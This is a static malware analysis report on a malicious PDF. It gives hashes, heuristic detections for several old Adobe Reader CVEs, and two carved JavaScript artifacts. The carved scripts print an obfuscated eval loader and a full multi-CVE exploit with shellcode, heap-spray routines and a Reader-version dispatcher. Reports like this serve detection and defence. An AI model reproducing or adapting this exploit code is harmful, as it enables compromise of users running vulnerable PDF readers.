Malicious PDF — malware analysis report

Static analysis result for SHA-256 fb57845934f5a7af…

MALICIOUS

PDF

1.95 MB Created: 2011-72-51 03:25:00 Authoring application: PScript5.dll Version 5.2 (via Acrobat Distiller 6.0 (Windows)) First seen: 2026-05-08
MD5: 79139a76fcceec1b259fa73f770371f2 SHA-1: 48bb42ab38534601d9e58766830999b4c21dd11a SHA-256: fb57845934f5a7af3be9f8443573000b5b502a427e07f3d55bac1ca3353abea7
550 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The presence of an eval() call (PDF_EVAL) suggests that the script is designed to execute arbitrary code. While no specific URLs were extracted and the document body is unreadable, the embedded JavaScript file 'javascript_obj0001_000.js' is a strong indicator of malicious intent, likely to download and execute a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9989

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
      oivbb=eval(i.replace('qw','')+'val');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/iX/1.0/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text

Related samples 1

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x6200 542 bytes
SHA-256: 017859efa214ffe320d3eeb3a8350b3477acc5b861e6661062a1d6252f1918e1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var hwet='';
var qwe=this.producer.substr(0,4);
for(var i in this) {
	if (i=='qwe')
		oivbb=eval(i.replace('qw','')+'val');
}
uvyc = oivbb('new Date(2007,2,51,2,12,5)');
tqq = 'thi'+uvyc.getHours()+'ducer';
wrk=oivbb(tqq.replace(2,'s.pro'));
wrk = wrk.replace(/t/g,'2');
ar = wrk.substr(4).split('q');
var s = '';
w = uvyc.getHours()*2;
var rlvvb = 'fro'+uvyc.getHours()+'arCode';
rlvvb=rlvvb.replace(2,'mCh');
pdgs=String[rlvvb];
for (i = 0; i < ar.length; i++) {
	ixqyz = oivbb(ar[i]);
	s += pdgs(ixqyz);
}
oivbb(s);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Producer q-arithmetic JavaScript at offset 0x23 3636 bytes
SHA-256: c4c0b93562635159dfc228bf6cf6c6f7497390aafa1220ca11d25cf14b604149
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u5634%ue2aa%uc3fa%ue5e8%uffff%ubfff%u575a%u5656%ud708%u0aba%u5657%udf56%udbb1%u4619%u39db%u6702%u018d%u0507%u0505%u0505%u0505%u0503%u3e05%u5752%u5656%u0003%u3e05%u3839%u5656%u233e%u3a24%u023b%ud83e%u5818%ubeba%u561e%u5656%ube06%u562a%u5656%u86a9%u92d5%u3e5e%ub919%u5319%ube06%u563a%u5656%u86a9%u96d3%u4123%u023c%ua50f%u3efc%ua824%u40e5%u4bbe%u5656%u0656%u07be%u5656%ua956%u0586%ua83c%udf3e%u5739%ubeeb%u565e%u5656%ube06%u566a%u5656%u86a9%u6736%u3296%u06dd%udd66%u5a04%u04dd%udd42%u7e24%u4eef%u5656%u6756%u67a9%ufa96%u376a%u542a%u767a%u9997%u575b%ub491%ud7a6%u0da9%u1cea%udd3c%u4614%u44dd%u8f23%u12df%u4a72%u9537%udd36%u723a%udd72%u6a13%u02dd%u2e53%ubc57%u1cdd%udd4e%u760c%ubd57%u62b5%udd1f%udd62%ub857%ua967%u9667%ufaaa%u96d2%u5122%u9997%u575b%ubd91%u6da2%u722a%u237e%uddb7%u720c%ubd57%udd30%u1d5a%u0cdd%u574a%uddbd%udd52%ube57%u12df%u4a72%u9437%u565e%ub9be%ua9a8%u3ea9%u2222%u6c26%u7979%u2431%u6762%u3578%u782c%u3535%u3279%u2678%u263e%u3069%u646b%u7062%u6b33%u5665';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

Open this report in the interactive analyzer, or submit your own file for analysis.